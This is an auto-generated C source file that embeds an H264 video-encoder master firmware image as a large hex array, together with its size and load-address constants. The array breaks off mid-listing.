the_stack_data/75528.c

// This file was automatically generated from ./build/H264MasterFirmware.dnl using dnl2c. unsigned int ui32H264_MasterMTXTOPAZFWTextSize = 6723; unsigned int ui32H264_MasterMTXTOPAZFWDataSize = 3065; unsigned int ui32H264_MasterMTXTOPAZFWTextRelocSize = 0; unsigned int ui32H264_MasterMTXTOPAZFWDataRelocSize = 0; unsigned int ui32H264_MasterMTXTOPAZFWTextOrigin = 0x80900000; unsigned int ui32H264_MasterMTXTOPAZFWDataOrigin = 0x82886910; unsigned int aui32H264_MasterMTXTOPAZFWText[] = { 0x9040c001, 0xc80993fe, 0xc0000e42, 0xc8290e00, 0xc98e8422, 0xc8298460, 0xc6908622, 0x9e838640, 0xc8099e43, 0xcd1e0d42, 0xc8090d60, 0xcd200942, 0xc8090920, 0xc00a0e42, 0xc8090e40, 0xc00e87c2, 0x9c1887c0, 0x0c020802, 0x09820d82, 0x09020d02, 0x08820c82, 0x9320fffe, 0xa401c838, 0x0dc2c809, 0x0da0cd1e, 0x0e42c809, 0x0c66b080, 0x0882a992, 0x9ff3a48d, 0x93e0ffff, 0x80819d13, 0xa205f839, 0x03070707, 0x9e970685, 0xc8090383, 0xcd200ac2, 0xc8090ac0, 0xcd201ac0, 0x060f1aa0, 0x07fac101, 0x018d058d, 0x9c62008f, 0x9320ffff, 0xc101060b, 0x9c6206da, 0x9380ffff, 0x018d058d, 0x448cb700, 0x4414b780, 0xa6059c01, 0xc8090687, 0xcd200ac2, 0xc8090ac0, 0xcd201ac0, 0x060b1aa0, 0x06dac101, 0xffff9c62, 0xf9f89380, 0xf9f8aa9d, 0x9c22aa1d, 0x428cb700, 0xc000587c, 0xe0003800, 0xc0003800, 0x9c22901a, 0x9c8fc127, 0x080a9c22, 0x9c81c017, 0x9c80c071, 0x9c80c017, 0x0d849c22, 0x9e5a5db0, 0x4018b960, 0x0900c021, 0x0940c00e, 0xaa45f031, 0xf0009dad, 0x0910a261, 0x9341ffff, 0xc3fe9e5c, 0xc02129c0, 0xc0010a00, 0xc00e3988, 0x9dcd0a30, 0xa1e1f000, 0xc0219c22, 0xd1100d80, 0x9d3d05b7, 0x2244aa61, 0xffff7115, 0x9c229384, 0xd011a605, 0xc3fe0eb2, 0xc28029c0, 0x020b5ab0, 0x0a00c021, 0x398cc001, 0xc00e0685, 0x9dcd0a30, 0xa1e1f000, 0xc00e9eab, 0x0d020992, 0x0902cff0, 0x0a80c021, 0x9bdbfff4, 0x0ac0c00e, 0x4018b960, 0xaa619d5d, 0xa225f231, 0xffff0a90, 0xb79f9361, 0xb7bf7f6e, 0x8c407fee, 0xfffd9c22, 0x9e5c9040, 0x9c8bc020, 0x9080c000, 0xa185d229, 0x93c1ffff, 0xa6059c22, 0x9e5d9e9a, 0xfff40982, 0x000b9bf2, 0x7f6eb79f, 0x7feeb7bf, 0x9c228c40, 0xb7209c22, 0xb760430c, 0x0d864708, 0x55b1b749, 0x5529b709, 0x90a0c000, 0xc00e0005, 0x9e5a287c, 0x52407015, 0x0902d011, 0x48a8b340, 0xffff78c8, 0x9c2292a4, 0xb7a0a605, 0xc0b84b8c, 0xd1106dc2, 0x099a06bb, 0xb76d008b, 0x0d845a31, 0x9b40c194, 0xb78d008b, 0xc00e5aa9, 0x7100287c, 0xd0010802, 0xb79f0802, 0xb7bf7f6e, 0x8c407fee, 0xa61d9c22, 0x9e9b0787, 0x07059e9d, 0x9e4e0385, 0x9bdcfff4, 0xd0127400, 0xc0011000, 0x9e6c9044, 0x4b8cb720, 0x6a42c0b8, 0x9ea902c2, 0x6e53d2f1, 0x5a51b76d, 0xc101099a, 0xc2000246, 0x00c25a10, 0x4c2db5c3, 0x4ab5b5e3, 0x4b35b5c3, 0x4badb5e3, 0xc1940d84, 0x008b9b07, 0x5a29b50d, 0xb79f0806, 0xb7bf7e6e, 0xb7df7eee, 0xb7ff7f6e, 0xc0027fee, 0x9c228c00, 0xb7409e5c, 0xc0b84b8c, 0x02446a42, 0x430cb580, 0x4590b560, 0x0d849c22, 0x9e5c5db0, 0x0a00c021, 0x0a00c010, 0xf0009dcd, 0x09bca162, 0x59905928, 0x2980cff0, 0x297cc00f, 0x0d80c021, 0xc00e3126, 0x9dbe0d80, 0xa161f000, 0x0d849c22, 0xc00e5db0, 0x0d020992, 0x0902cff0, 0x9260fff8, 0x5db00d84, 0xc0219e5c, 0xc0100a00, 0x9dcd0a00, 0xa162f000, 0x599009bc, 0xcff05928, 0xc00f2980, 0xc011297c, 0xc0213980, 0x31b40d80, 0x0d80c00e, 0xf0009dbe, 0x9c22a1e1, 0xc002a61d, 0xd0318400, 0x9e9f0abe, 0xa1922ac1, 0xa116a119, 0x9300c001, 0x7562c1fc, 0x0f02c0fc, 0x4446b356, 0xa992a916, 0x09029e73, 0x9bcefff4, 0x0b82a992, 0xfff4068d, 0xab199bc0, 0xc000010f, 0x7dde92e0, 0x9144c000, 0xe092a992, 0x018f8d00, 0x9ad8fff4, 0x8d00e091, 0x0b8477c0, 0x90e2c000, 0xaa45d029, 0xd2081f84, 0x0b04a241, 0x777f1e84, 0x9124ffff, 0xc101a91a, 0x052c12dc, 0xa916a11a, 0xa116052c, 0xfffe7540, 0xb79f9124, 0xb7bf7c6e, 0xb7df7cee, 0xb7ff7d6e, 0xc0047dee, 0x9c228c00, 0xc002a61d, 0x9e5c8400, 0xc2009e9f, 0xc0215a30, 0xa19a0a00, 0x0a30c110, 0x9dcd0982, 0xa1e1f000, 0x0efed032, 0xa1122ec1, 0xc002a115, 0xc1fc9180, 0xc0fc7762, 0xb3560f02, 0x0d024846, 0xb55f9e76, 0xb55f7df4, 0xb55f7d74, 0xb55f7cf4, 0x0b827c74, 0x8d80e092, 0xd01077c0, 0xc0000534, 0xa9919162, 0xd0291f84, 0xa191aa65, 0xa241d008, 0x9080c000, 0xa3c2d008, 0xf0310b84, 0x0d042afe, 0x9244c000, 0xe092a99a, 0xd0518d00, 0xfff419f0, 0x9eaa9a42, 0x7decb5bf, 0x7d6cb5bf, 0x7cecb5bf, 0x7c6cb5bf, 0x1b04e000, 0x92c4fffe, 0xa99aa916, 0x010d9e73, 0x9b19fff4, 0x16dca99a, 0x9b2ffff4, 0x05bca996, 0x7740a196, 0x92a4fffd, 0x7c6eb79f, 0x7ceeb7bf, 0x7d6eb7df, 0x7deeb7ff, 0x8c00c004, 0xb7209c22, 0xc0b6430c, 0xb74309aa, 0xb76d5a2d, 0x9e8a6631, 0x9100fffc, 0xa285f839, 0xf0089e90, 0xd091aa4d, 0xf0080cae, 0xc080a949, 0xc1015815, 0x01200244, 0xb5807640, 0xb54041cc, 0xc000414c, 0xb7809202, 0xb74040cc, 0xb740404c, 0x11284254, 0xc2000a06, 0x9ea15208, 0xb5403522, 0xd1a24254, 0xc00f5e30, 0x9ea308fe, 0x0d02cff1, 0x0d80c021, 0x9c83c010, 0x0de0c140, 0x08fcc00e, 0x0d00cff0, 0x9200c000, 0xaa65f029, 0x214a9e55, 0x59212242, 0x5a20c200, 0xba243244, 0x9dbe4006, 0xa261f000, 0x9241ffff, 0x404cb780, 0xb5800a04, 0xf9f8404c, 0x9c22aa9d, 0x9e91a685, 0x06858702, 0xc00e8522, 0xf2100b7e, 0x7640882b, 0x5153c200, 0x9182c002, 0xaa61f008, 0xe0009e69, 0x22a22a1c, 0x5920c280, 0x4442b423, 0xaa61f008, 0xa962d010, 0xf3102a1c, 0xc1018821, 0xba0c1242, 0x1003400a, 0xc2005241, 0x9e955921, 0x2a7cc00e, 0x0910d031, 0x520bc200, 0xd3f23454, 0xc0002ace, 0xc20092ea, 0x9e515224, 0xd0103242, 0xf008a261, 0xd011a961, 0xd1102a2e, 0x750e0619, 0x0615d110, 0x0db2d009, 0xa261f008, 0x9240c000, 0xa062d010, 0xaa61f008, 0x0619d110, 0x02429e81, 0xa261f008, 0x2cfccffe, 0xa164d032, 0x9220fffd, 0xb7bf9e58, 0xb7df7f6e, 0x8c407fee, 0xa60d9c22, 0x9e589e56, 0x09069e9e, 0xc0000d02, 0x13649080, 0xd0110124, 0x710c1a22, 0x2eaed3f2, 0xffff0d04, 0x9e6d9306, 0x9080c000, 0x9b8cfff4, 0x0a52d011, 0x9e837510, 0x0d029e73, 0x1aa00922, 0x92d2ffff, 0x294ed3f1, 0xfff40d04, 0xc0009b7d, 0xd3f291e0, 0x9e6c2ace, 0x52d1c200, 0x295ed3f2, 0x9b72fff4, 0xc2009e6c, 0x136a52b0, 0xd0317750, 0x9e831e50, 0x09229e73, 0x91b2ffff, 0x296ed3f2, 0xb79f9e6a, 0xb7bf7eee, 0xb7df7f6e, 0x8c607fee, 0x9340fffa, 0x1d20f011, 0xd01d9e9a, 0xd00d0224, 0xc0001a42, 0x1205909a, 0x9e531244, 0xfffd9ea2, 0x02079140, 0xa1c1d010, 0x9ea29e53, 0xfff70c82, 0xa60592a0, 0x02870d0a, 0x9b9dfff4, 0x430cb720, 0x56a9b786, 0xc0007500, 0x02039122, 0x0a60c09a, 0xaa01d208, 0x3a040248, 0x9ea29e83, 0xb79f018b, 0xb7bf7f6e, 0x8c407fee, 0x90a0fffc, 0xb720a605, 0xf011430c, 0xc0020ea0, 0xb7460a02, 0xb35456a9, 0x02894424, 0x9e9d7480, 0x90a2c000, 0xba2c0248, 0x75404000, 0x9116c000, 0x0d02120b, 0x4000ba2c, 0x9060c000, 0xfff40d06, 0x9e839b66, 0xd0129e6b, 0xb79f1952, 0xb7bf7f6e, 0x8c407fee, 0x9360fffa, 0xc002a61d, 0xe0918420, 0x0a028c88, 0x7d6cb59f, 0x7cecb59f, 0x7c6cb59f, 0x7b6cb59f, 0x402db580, 0xa9e1f008, 0xa19aa11e, 0x1936d012, 0x0b12d011, 0x7686c004, 0x9212c01a, 0x5d0cd126, 0xe0508520, 0xc0028044, 0xc0029100, 0xc01a91a0, 0xc01a90a0, 0xc0029060, 0xc01992c0, 0xc01993e0, 0xc01993a0, 0xc0199360, 0xc0199320, 0xc01092e0, 0xc0199060, 0xc0199260, 0xc0109220, 0xc0109120, 0xc0199260, 0xc0199160, 0xc0199120, 0xc01090e0, 0xc01993c0, 0xc0199060, 0xc0189020, 0xc01893e0, 0xc00293a0, 0xc0029060, 0xc0059220, 0xc0069340, 0xc0069100, 0xc00c92c0, 0xc0189140, 0xc01891e0, 0xc01891a0, 0xc0189160, 0xc0189120, 0xc01890e0, 0xc01090a0, 0x9eb39120, 0x1924d072, 0x8d80e0b1, 0x91a0c000, 0x430cb780, 0xe0b19eb3, 0xc0a08d80, 0xd2080a5c, 0xd120a902, 0xfff41125, 0xc0179b27, 0xa89d9040, 0x9e520d06, 0x41adb7a0, 0xe0b19eb3, 0x4afd8d80, 0x9a72fff4, 0x9e832a9c, 0x8d80e0b1, 0x0d02010b, 0x9380c00e, 0x430cb780, 0x9eb30d02, 0x0a00c0a0, 0xaa01d208, 0x8d80e0b1, 0x7500090a, 0x0d22d002, 0x9180c00e, 0x430cb720, 0x0a827640, 0x7f2db784, 0x0ad2d002, 0xc0007500, 0x75409264, 0x9202c000, 0x7fadb744, 0x76adb784, 0x9eb30d02, 0xe0b17104, 0x090a8d80, 0x0d22d001, 0x9200c00d, 0x76adb744, 0x7fadb784, 0xc0027088, 0x0d069004, 0xe0b19eb3, 0x9e528d80, 0x9a30fff4, 0xc0007540, 0xb72093a2, 0xb786430c, 0x750056a9, 0x91c2c000, 0x73adb784, 0xc0007502, 0x9e839122, 0x8d80e0b1, 0x0d2ec002, 0x90e0c000, 0xe0b19e83, 0xc0028d80, 0x09220d2a, 0x9a12fff4, 0xe0b19e83, 0x09168d80, 0xfff40d1e, 0xb7809a0b, 0x9e83430c, 0x8d80e0b1, 0x0a64c09a, 0xa902d208, 0x9a5ffff4, 0x9e830d06, 0x8d80e0b1, 0xc00b9e52, 0x02039160, 0x0a00c0a0, 0xaa01d208, 0xc0127500, 0xc00992c2, 0xb78090e0, 0x0d02430c, 0xc09a9eb3, 0xd2080a74, 0xe0b1aa01, 0x09068d80, 0xd0017500, 0xc00a0d22, 0xb7809220, 0xc09a430c, 0xd2080a70, 0x7500aa01, 0x9302c005, 0xe0b19eb3, 0x0d2a8d80, 0xc00a0912, 0xb7209020, 0xb7844314, 0x750473cd, 0x1524d022, 0x92c4c001, 0x9e4a9e4c, 0x0a34c09a, 0xaa01d208, 0x7fd5b744, 0x0970c09a, 0x5a08c200, 0x00c2c101, 0x79adb764, 0xa941d008, 0x0a32d011, 0x0d027299, 0x0d22d002, 0xc0007480, 0x9e4c9362, 0xc09a9e4a, 0xd2080a38, 0xc09aaa01, 0xd008096c, 0xc200a941, 0xc1015a08, 0xb72400c2, 0x0a0279ad, 0x70c20884, 0xd0029e53, 0x32460a42, 0x3128d020, 0x9e519e4c, 0x0a68c09a, 0xaa01d208, 0xc00e3218, 0x75002a7c, 0x9102c003, 0x9eb30d06, 0x8d80e0b1, 0xfff49e52, 0xb720997f, 0x0203430c, 0x0a68c09a, 0xaa01d208, 0xc0007500, 0x9e839122, 0x8d80e0b1, 0x9a2ffff4, 0x92e0c000, 0xc09a0203, 0xd2080a34, 0xb744aa01, 0x9e837fb5, 0x5a08c200, 0xb72400c2, 0xe0b179ad, 0xd1208d80, 0xba121115, 0xfff44001, 0xb7209a35, 0x0203430c, 0x0a70c09a, 0xaa01d208, 0xc0047500, 0x02039022, 0x0a6cc09a, 0xaa01d208, 0xc0027500, 0x020393a4, 0x0a68c09a, 0xaa01d208, 0xc09a0103, 0x75000938, 0x90c2c000, 0xaa41d008, 0x9340c002, 0xc09a0203, 0xd2080a34, 0xd008aa01, 0x9e83a941, 0x5a08c200, 0x00c2d020, 0x00a25908, 0x79adb724, 0x79d5b724, 0x8d80e0b1, 0x1113d120, 0x91c0c002, 0x9ea29eb3, 0x8d80e0b1, 0xc0040906, 0xb7209160, 0x0203430c, 0x0a6cc09a, 0xaa01d208, 0xc0007500, 0xb7849284, 0x7500762d, 0x9044c002, 0xc09a0203, 0xd2080a34, 0xc200aa01, 0x00c25a08, 0x79adb784, 0xc0017500, 0x0d0692a4, 0xe0b19eb3, 0x9e528d80, 0x98f6fff4, 0x430cb720, 0xc09a0203, 0xd2080a6c, 0x7500aa01, 0x9122c000, 0xe0b19e83, 0xfff48d80, 0xc00099a6, 0x020392e0, 0x0a38c09a, 0xaa01d208, 0x5a08c200, 0x7fb5b744, 0xb72400c2, 0x9e8379ad, 0x8d80e0b1, 0x1115d120, 0x4001ba12, 0x99acfff4, 0xe0b19e83, 0x0d0e8d80, 0x9380c000, 0xe0b19eb3, 0x0d028d80, 0x9140fffd, 0x430cb720, 0xe0b19eb3, 0xb7448d80, 0x09167fb5, 0x2d7cc00e, 0x9140c001, 0x430cb720, 0xe0b19eb3, 0xb7448d80, 0x2d047435, 0x990dfff4, 0x9220c008, 0x430cb720, 0x0d027640, 0x7f2db724, 0x0d22d001, 0x00929eb3, 0x0522c101, 0x8d80e0b1, 0x2d7cc00e, 0xc000091a, 0xb7209160, 0x9eb3430c, 0x8d80e0b1, 0x5731b746, 0x45220906, 0x988efff4, 0x9220c007, 0x4e8cb780, 0xb720a919, 0xc040430c, 0x7500aa45, 0x90c2c000, 0x5b2db7e3, 0x9080c000, 0x7eadb7e3, 0x4314b7a0, 0xb7449e69, 0x748473ad, 0x9124c000, 0x5429b783, 0xc0007500, 0xc00691a4, 0x748693a0, 0x9344c006, 0xb783048b, 0x750254c9, 0x9284c006, 0xc0909e6c, 0xd2080a70, 0xc008aa01, 0xc0007504, 0x748690a4, 0x90e0c000, 0x7520c008, 0x9084c006, 0xc0067484, 0x9e699024, 0xb7449eb3, 0xe0b16435, 0xf0918d80, 0xfff48c88, 0x048b98a6, 0x64d5b744, 0xe0b19e83, 0xc0088d80, 0xfff42b80, 0xb77f989c, 0xa99a7b6c, 0x9eaaa91d, 0xfff40f06, 0xa39198ec, 0x0a029e6f, 0xb59fa215, 0xc0037b6c, 0xd2089200, 0xfff4a922, 0xd2089829, 0xd011aa21, 0x75000ee2, 0x9242c000, 0x9e839e69, 0x6635b744, 0x8d80e0b1, 0x98c2fff4, 0xb744048b, 0x9e836955, 0x8d80e0b1, 0x98bafff4, 0x7b6cb77f, 0xa91da99a, 0x8d08e092, 0x98c1fff4, 0xb55f0902, 0xd2107b6c, 0x9eb3a962, 0x8d80e0b1, 0xffd40904, 0xd2109bff, 0x7500aa61, 0x91e2c001, 0x9e839e69, 0x6735b744, 0x8d80e0b1, 0x0ee4d011, 0x9898fff4, 0xb744048b, 0x9e836a55, 0x8d80e0b1, 0x9890fff4, 0xb77fa99a, 0xa91d7b6c, 0x8d08e092, 0x9897fff4, 0x9e690902, 0x7b6cb55f, 0x6835b744, 0xe0b19eb3, 0xfff48d80, 0x048b987d, 0x6b55b744, 0xe0b19e83, 0xfff48d80, 0xa91d9875, 0x7b6cb77f, 0xe092a99a, 0xd0128d08, 0xfff40b52, 0x0902987a, 0xb55f0e90, 0xa9917b6c, 0xc00074c0, 0xb7809184, 0x0d06430c, 0x0a70c09a, 0xaa01d208, 0xc0007500, 0x0d0a9062, 0x9ebfaa15, 0x7115028f, 0xc0920a04, 0xc0920aa0, 0x09060fa8, 0xe0b19eb3, 0x0b848d80, 0xfffba215, 0xc0009298, 0xb77f91c0, 0xa99a7b6c, 0xe092a91d, 0x0f068d08, 0x984bfff4, 0x9060c000, 0x9e700f02, 0x7beeb79f, 0x7c6eb7bf, 0x7ceeb7df, 0x7d6eb7ff, 0x8c20c004, 0xa61d9c22, 0x8440c002, 0xf0319e5f, 0xd011abc6, 0xc2000a72, 0x9ea65a30, 0xc0400d82, 0xc0210a00, 0xa2150f00, 0xb55fa191, 0xb53f7dec, 0xa0997d74, 0x7c74b57f, 0xb57f9e56, 0xb57f7a74, 0xb57f7af4, 0xb57f7b74, 0xc0407bf4, 0xc8010f50, 0x9dee0a02, 0xa261f000, 0x9200c002, 0xaa41f208, 0x0b10028d, 0xc0007500, 0x75049102, 0x90a2c000, 0xc0007502, 0xd0119284, 0xd00809d8, 0x7504a962, 0x9ebb0c82, 0x8d00e0d1, 0x0c92d002, 0x9af2ffd4, 0x03605808, 0xc0000806, 0xb75f9200, 0xb73f7dec, 0x9ebb7d74, 0x8d00e0d2, 0xfff4018b, 0xd0119837, 0xd0201e72, 0xf20803c0, 0x74c0a9a1, 0x90a4c000, 0xc000a19d, 0x74d891e0, 0x9124c000, 0x0d06a919, 0xd8080e86, 0xc000a142, 0x77409220, 0x9144c000, 0x0e82a91d, 0xc00e0220, 0xa21d2a7c, 0x90c0c000, 0x0651d110, 0x2aced3f2, 0x7a6cb79f, 0xfffd711f, 0x774091e6, 0x9322c000, 0xd011a91d, 0x59201e52, 0x2900c1f0, 0x32442a7c, 0x5940a911, 0xa9153244, 0x0900c021, 0x0900c008, 0xf0009dad, 0xa91aa261, 0xd8100a06, 0xa919a241, 0xaa41d808, 0xc0007500, 0xa9159284, 0x7c6cb79f, 0x0900c021, 0xc7ff0970, 0x9dad2a7e, 0xa261f000, 0x7aecb79f, 0x1679d110, 0xf0009dee, 0xb71fa261, 0xb79f7bec, 0xb7bf7b6e, 0xb7df7bee, 0xb7ff7c6e, 0xc0047cee, 0x9c228c40, 0x0d84a61d, 0x5f30c180, 0x9e769e74, 0x0a00c040, 0x078d9ea5, 0x0b00c021, 0x0f80c021, 0xc0210287, 0xc0080e80, 0x0b400b82, 0x0fd0c040, 0x93e0c000, 0x757ec03c, 0x0a7ec01e, 0x4434b354, 0x5914c200, 0xc3fe12d8, 0x9dfe2900, 0xa161f000, 0xaa619d5e, 0xf0009ded, 0x3a40a3e1, 0xf0009dde, 0x9ebaa261, 0x058d0992, 0xffd4010f, 0x75409870, 0x9044ffff, 0x0a02c008, 0xf0009ded, 0xb79fa261, 0xb7bf7e6e, 0xb7df7eee, 0xb7ff7f6e, 0xc0027fee, 0x9c228c00, 0x0d84a605, 0x9e5d5db0, 0x0e82c008, 0x0a80c021, 0x9ddd0ac0, 0xa2e2f000, 0xc0219e5a, 0xc0400900, 0x9d2d0900, 0x74c0a962, 0x3e20d051, 0x9082c000, 0x3e20d0d1, 0xf0009dad, 0x9e6aa261, 0x050b0992, 0x983bffd4, 0xf0009ddd, 0xb79fa2e2, 0xb7bf7f6e, 0x8c407fee, 0xa61d9c22, 0x8420c008, 0x8c88f212, 0x07059e5e, 0x9e9a0385, 0x0a829e6a, 0x0982c008, 0x5e6ab5bf, 0x992cffd4, 0x9e729eb3, 0xe2319eb9, 0x018b8c80, 0xfff4050b, 0x9eb39ab8, 0xfff4018b, 0xb79f9bb9, 0xb7bf75ee, 0xb7df766e, 0xb7ff76ee, 0xc00a776e, 0x9c228c20, 0xa285f839, 0x4b8cb720, 0x9d3a0a02, 0x9e8b9e8a, 0x9e889e89, 0x4e1cb760, 0x02830003, 0x9ea50183, 0xc0a00916, 0xc0aa0ddc, 0xc0a00810, 0xc15a0d60, 0xc1620c9c, 0xc15a0ad0, 0xc10209a0, 0x877f0c70, 0xa261d010, 0xa241d010, 0x4028b580, 0x4048b580, 0x4049b580, 0xa261d008, 0xa221d208, 0x72adb549, 0x502db588, 0x5629b589, 0x5d2db543, 0x40adb544, 0x5e2db582, 0x4f2db549, 0x4788b580, 0x90a0c000, 0xc2229d6b, 0xd3f1a104, 0x0e842e5e, 0xffff7135, 0xf9f89338, 0x9c22aa9d, 0xc912a61d, 0xc9129cc4, 0xb7c09cce, 0x9e5a4a14, 0xa1edf010, 0x1f68d191, 0xd0510e86, 0x0f820be0, 0xf2089e75, 0x7500aa2d, 0x93c4c000, 0x0a20d051, 0xf2089eab, 0xf208a003, 0xd011a2ae, 0xf2080a58, 0xd248a803, 0xf208aa21, 0xb580a921, 0x9e944688, 0xf2089c62, 0x010da863, 0x4690b5e0, 0xa2cef208, 0x9000ffff, 0xc0007502, 0xd05191c4, 0xf2080a20, 0xd051a003, 0xf2080a50, 0xd248a803, 0xc000aa21, 0x1ad09280, 0xc003714c, 0xfffe9262, 0xd0519180, 0xf2080a20, 0xb780a003, 0xf208498c, 0xb780a803, 0xd248460c, 0xb580aa01, 0xc0034688, 0xc0219140, 0x0a100a02, 0xaa619d4d, 0x7d00dfe0, 0x90c2c000, 0x0b02c100, 0x9120c001, 0x4808b760, 0x010f0b8a, 0xc02174c0, 0xc0300a02, 0xd0010a00, 0x9d4d1972, 0x2d71a962, 0x290c9e51, 0x9dcd3122, 0xa161f000, 0x080ac100, 0x9c81c017, 0xc00074c0, 0x9e9b90a4, 0x9b12ffb4, 0x9c82c171, 0x9c88c817, 0xcffe9ebb, 0xffb42b7c, 0x0d8a9b09, 0x9b06ffb4, 0x0902c021, 0x0900c030, 0xaa619d2d, 0x9dad3a0c, 0xa261f000, 0x4914b740, 0xd0319eb3, 0xc1000a58, 0x08862d80, 0x29e4d011, 0xa941f010, 0xc0007486, 0x76c090a4, 0x90c0c000, 0xc0007484, 0x74c090a4, 0x4644b40a, 0x72991d50, 0x91a2c000, 0x91c0ffff, 0x460cb780, 0xaa0df208, 0xfffc7502, 0xfffc9384, 0xb79f9140, 0xb7bf7e6e, 0xb7df7eee, 0xb7ff7f6e, 0xc0027fee, 0x9c228c00, 0xb780a605, 0x9e5b4688, 0x4614b760, 0xb7a06a52, 0xd1204588, 0xfff401c7, 0x9eab9b2b, 0x7f6eb79f, 0x7feeb7bf, 0xffbc8c40, 0xa60593e0, 0xc0009e5d, 0xfff49080, 0xb7809be7, 0x0d924708, 0xffff7948, 0x424a9344, 0x4708b580, 0x7f6eb79f, 0x7feeb7bf, 0x9c228c40, 0x9e5da605, 0x460cb740, 0x0a54d011, 0x02446a52, 0x0948d031, 0xaa41f008, 0xd0017508, 0xb4221a46, 0xc0004622, 0xfff49080, 0x9eab9bc3, 0x9b1cffb4, 0x0d927400, 0x9324ffff, 0x7f6eb79f, 0x7feeb7bf, 0x9c228c40, 0xa205f839, 0x9080c000, 0x9bb0fff4, 0x430cb720, 0x4708b780, 0xb7490d92, 0x22285629, 0xffff7104, 0xf9f892a2, 0xffb7aa1d, 0xa61d9080, 0x8400c002, 0xa1999e5e, 0xa111a116, 0x9080c000, 0x9b96fff4, 0x4508b780, 0xc01c0d92, 0xffff7d3e, 0xb7809324, 0xc0214508, 0xc0100d02, 0x0a040d10, 0x4508b580, 0xab629d2e, 0x0902c021, 0x0920c010, 0x2eeed072, 0xaa619d2d, 0xd0719e55, 0x038529ce, 0x9180c000, 0x9b74fff4, 0xab629d5d, 0x2eeed072, 0xaa619d7d, 0x29ced071, 0x0fd2d012, 0x2e7ed071, 0x71060d8a, 0x9202ffff, 0xb59f0a02, 0xb59f7c6c, 0xb59f7cec, 0xb59f7d6c, 0x03897dec, 0x4078b960, 0x9d7daa15, 0x8d00e093, 0xa905c270, 0x8026f010, 0xd2080b84, 0xffffa101, 0x9dcb92a1, 0x09829eb3, 0x9a19ffb4, 0xe0929eb3, 0x09828d00, 0x9a3cffb4, 0xb780aa91, 0xc2804b8c, 0xc0b85e88, 0x9eb36ac2, 0xc04e02d8, 0xf2080ac0, 0xb79fa922, 0x018f7dec, 0xa94ae050, 0xa21d0902, 0x9ae7ffb4, 0xcffe9eb3, 0xffb42f01, 0xaa1d9afc, 0xe0929eb3, 0x4a7d8d00, 0xb59f0982, 0xffb47dec, 0xf20899ee, 0x9e6caaa1, 0xe2409eb3, 0x018fa926, 0xffb40902, 0x9eb39af1, 0x9ae5ffb4, 0x77c0c004, 0xb3740a02, 0x9e724824, 0x32442a7c, 0x0902c021, 0x0910c010, 0xf0009dad, 0x9eb3a261, 0x8d00e092, 0xffb40982, 0xa91f99f5, 0x7decb79f, 0xffff7135, 0xb78092c4, 0xa9194508, 0x74801a04, 0x4508b580, 0x9102c000, 0xffb40d8e, 0x0d8a99af, 0x99acffb4, 0x7c6eb79f, 0x7ceeb7bf, 0x7d6eb7df, 0x7deeb7ff, 0x8c00c004, 0xf8399c22, 0x8440a205, 0x5e20d1a2, 0x9e9ba115, 0x9e539e4a, 0x2a00c7f0, 0x8d00e052, 0x3a04c001, 0xfff4a211, 0xf9f89b28, 0x9c22aa15, 0xa205f839, 0x0a028440, 0x0a40c0b8, 0x4b8cb720, 0x00c26229, 0x592db783, 0x5ca0c180, 0x59b5b703, 0x2a7cc006, 0xb7039ea3, 0xc7f05a2d, 0xb7232c80, 0x34965aad, 0x9e539e9b, 0x8d00e052, 0xa019a016, 0xa092a09d, 0x9b01fff4, 0xaa15f9f8, 0xa6059c22, 0x460cb780, 0xb7400906, 0xf2084a94, 0xf010a10d, 0x0a10a043, 0xa803f208, 0x490cb7a0, 0xb5800a02, 0xd1924688, 0x010b1ad8, 0xaa4df1e9, 0xc000750a, 0x0d9290e2, 0x9a80fff4, 0x92e0ffff, 0xffff709b, 0xb78092a4, 0xf2084a8c, 0xb79fa803, 0xb7bf7f6e, 0x8c407fee, 0xa6059c22, 0x0d80c021, 0x06b7d110, 0xc0000685, 0xb78091c0, 0x0a044808, 0x4808b580, 0x9a62fff4, 0x4808b780, 0xb5801a04, 0x9d5d4808, 0x791baa61, 0xffff0d8e, 0xb79f9202, 0xb7bf7f6e, 0x8c407fee, 0xb7409c22, 0x0d06488c, 0x4028b960, 0xaa41f008, 0xb4127508, 0x09504a22, 0x9341ffff, 0xb7409c22, 0x45b44710, 0x4710b560, 0x91a0ffff, 0xb7a0a605, 0x008b430c, 0x59adb783, 0xb5899ea9, 0xb7205629, 0xb783430c, 0xc20059ad, 0xb5895a21, 0xb72055c9, 0xb726430c, 0xb52973ab, 0xb7205549, 0xb72d430c, 0xb52967a9, 0xb72054c9, 0xb769430c, 0xfff45631, 0x008b9a2e, 0x5529b749, 0x4e0cb780, 0x55b1b769, 0x4000ba12, 0x0d0201a8, 0xc00008ff, 0xd0299080, 0xd110a0e5, 0x0d040625, 0xffff7117, 0xb720935c, 0xb769430c, 0xb79f5631, 0xb7bf7f6e, 0x8c407fee, 0x92e0fffd, 0xc002a60d, 0x9e568400, 0x0d02c021, 0xc0309e95, 0x9d2e0d00, 0x0205a961, 0x2a70c03e, 0xcfc00a10, 0xc03e290d, 0x32442a70, 0xf0009dae, 0x0a7fa261, 0xd21076d4, 0xc003a221, 0xd3f19304, 0x750a2a3e, 0x5921d1a4, 0x90b2c00c, 0x5908d226, 0xe0508520, 0x94068044, 0x940a957d, 0x941d9418, 0xb7209422, 0xb545430c, 0xc00b5135, 0xb7809280, 0x0906430c, 0x0a10c0a8, 0xa101d208, 0x430cb780, 0x0a14c0a8, 0xa102d208, 0x90a0c00b, 0x430cb720, 0x6e35b544, 0x93e0c00a, 0x430cb720, 0x6fb5b544, 0x9320c00a, 0x99f2fff4, 0x0a869e83, 0xc00e9eaa, 0x55cc2dfc, 0xa021d210, 0x2dfcc00e, 0x99affff4, 0xa9a2d210, 0xe0919eb2, 0x09d28d00, 0x998effb4, 0xa9a2d210, 0x55cc9eaa, 0x2dfcc00e, 0x9b49fff4, 0x430cb720, 0x7c6cb79f, 0x522db585, 0x430cb720, 0x7cecb79f, 0x52adb585, 0x430cb720, 0x7d6cb79f, 0x532db585, 0x430cb720, 0x7decb79f, 0x53adb585, 0xb720aa11, 0xb585430c, 0xb780542d, 0xc0a8430c, 0xd2080a38, 0xc008a281, 0x76d692c0, 0x9164c001, 0x29bed0f2, 0x5a19c180, 0x76fec004, 0x7c6cb59f, 0x90c2c000, 0x430cb720, 0x54b5b561, 0xd324020d, 0xc0fc5931, 0xb7202a00, 0xc200430c, 0xd0f15a19, 0xb57f296e, 0xb55f7270, 0xb59f72e8, 0xb55f7368, 0xb7257a72, 0xe0926c2d, 0x9e8c8d80, 0xc0079c62, 0x76d89140, 0x9384c003, 0x9980fff4, 0x0a869e83, 0xc00e9eaa, 0x55cc2dfc, 0xa021d210, 